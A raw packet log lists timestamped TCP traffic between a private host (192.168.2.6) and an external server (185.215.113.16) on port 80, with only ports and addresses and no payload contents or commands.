Nov 30, 2024 04:12:29.041486025 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.042341948 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.042391062 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.042434931 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.043303013 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.043345928 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.043384075 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.044270992 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.044321060 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.044372082 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.045212984 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.045265913 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.045275927 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.046192884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.046247005 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.046277046 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.047144890 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.047213078 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.047243118 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.048099995 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.048146009 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.048150063 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.049041033 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.049089909 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.049153090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.050009966 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.050056934 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.050103903 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.050952911 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.051003933 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.051054001 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.051939964 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.051990986 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.052016020 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.052889109 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.052936077 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.052989006 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.053857088 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.053910971 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.053940058 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.054805994 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.054852009 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.054913044 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.055759907 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.055800915 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.055860043 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.056718111 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.056767941 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.056830883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.057687044 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.057739019 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.057770967 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.058635950 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.058681011 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.058729887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.059591055 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.059639931 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.059699059 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.060571909 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.060612917 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.060667992 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.061599970 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.061645031 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.061670065 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.062493086 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.062536955 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.062566042 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.115607023 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.214577913 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.214613914 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.214721918 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.214874029 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.215015888 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.215059996 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.215800047 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.215873003 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.215926886 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.216583967 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.216696024 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.216738939 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.217441082 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.217555046 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.217598915 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.218281031 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.218394995 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.218441963 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.219144106 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.219259024 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.219301939 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.220010042 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.220108032 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.220145941 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.220850945 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.220966101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.221005917 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.221714973 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.221826077 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.221863031 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.222560883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.222676992 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.222718000 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.223419905 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.223546982 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.223584890 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.224292994 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.224410057 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.224443913 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.225172997 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.225301027 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.225337982 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.225975037 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.226108074 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.226139069 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.226835966 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.226953983 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.226993084 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.227729082 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.227833033 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.227876902 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.228568077 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.228672028 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.228722095 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.229427099 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.229532003 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.229568005 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.230287075 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.230382919 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.230422974 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.231128931 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.231241941 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.231277943 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.231991053 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.232105017 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.232142925 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.232939959 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.233059883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.233092070 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.233731031 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.233827114 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.233861923 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.234584093 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.234692097 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.234731913 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.235436916 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.235548973 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.235594034 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.236301899 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.236407995 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.236445904 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.237145901 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.237247944 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.237286091 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.237986088 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.238086939 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.238140106 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.238857031 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.238970995 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.239010096 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.239715099 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.239825010 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.239867926 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.240566015 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.240673065 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.240710974 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.241414070 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.241518021 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.241555929 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.242311954 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.242394924 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.242434978 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.243153095 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.243268967 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.243315935 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.244019032 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.244080067 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.244124889 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.244873047 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.244991064 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.245033026 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.245744944 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.245851994 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.245893955 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.246599913 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.246690989 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.246736050 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.247473955 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.247566938 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.247610092 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.248291016 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.248436928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.248481035 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.249145031 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.249322891 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.249373913 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.250176907 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.250189066 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.250226974 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.250857115 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.250965118 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.251005888 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.251718044 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.251852989 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.251899958 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.252566099 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.252667904 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.252712965 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.253422022 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.253473043 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.253531933 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.253571033 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.254278898 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.254336119 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.254373074 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.255146980 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.255268097 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.255310059 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.255990982 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.256066084 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.256108046 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.256890059 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.257010937 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.257055998 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.257707119 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.257814884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.257854939 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.258559942 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.258658886 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.258699894 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.259366035 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.303093910 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.432513952 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.432533979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.432627916 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.432802916 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.432919979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.432966948 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.433615923 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.433970928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.434022903 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.434104919 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.434828997 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.434890985 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.434923887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.435683012 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.435764074 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.435785055 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.436539888 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.436585903 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.436593056 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.437392950 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.437444925 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.437493086 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.438249111 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.438292027 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.438349962 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.439114094 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.439162970 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.439209938 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.439959049 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.440010071 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.440068960 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.440834045 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.440876961 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.441008091 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.441682100 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.441751957 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.441788912 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.442540884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.442584991 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.442634106 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.443397045 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.443448067 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.443481922 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.444243908 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.444308996 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.444381952 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.445116997 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.445158958 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.445238113 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.445997000 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.446042061 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.446125984 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.446815968 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.446860075 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.446922064 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.447695017 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.447738886 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.447770119 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.448539019 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.448587894 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.448658943 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.449373960 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.449409008 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.449481010 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.450238943 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.450289011 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.450335979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.451096058 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.451142073 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.451210976 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.452020884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.452064037 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.452070951 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.452816963 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.452867031 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.452928066 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.453671932 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.453706980 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.453771114 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.455478907 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.455491066 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.455502033 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.455513954 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.455535889 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.455578089 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.456248045 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.456305981 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.456362009 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.457102060 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.457165003 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.457214117 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.457954884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.457994938 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.458054066 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.458803892 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.458858967 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.458918095 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.459659100 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.459705114 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.459757090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.460519075 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.460561991 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.460673094 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.461386919 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.461427927 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.461479902 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.462244034 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.462289095 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.462349892 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.463084936 CET	80	49745	185.215.113.16	192.168.2.6
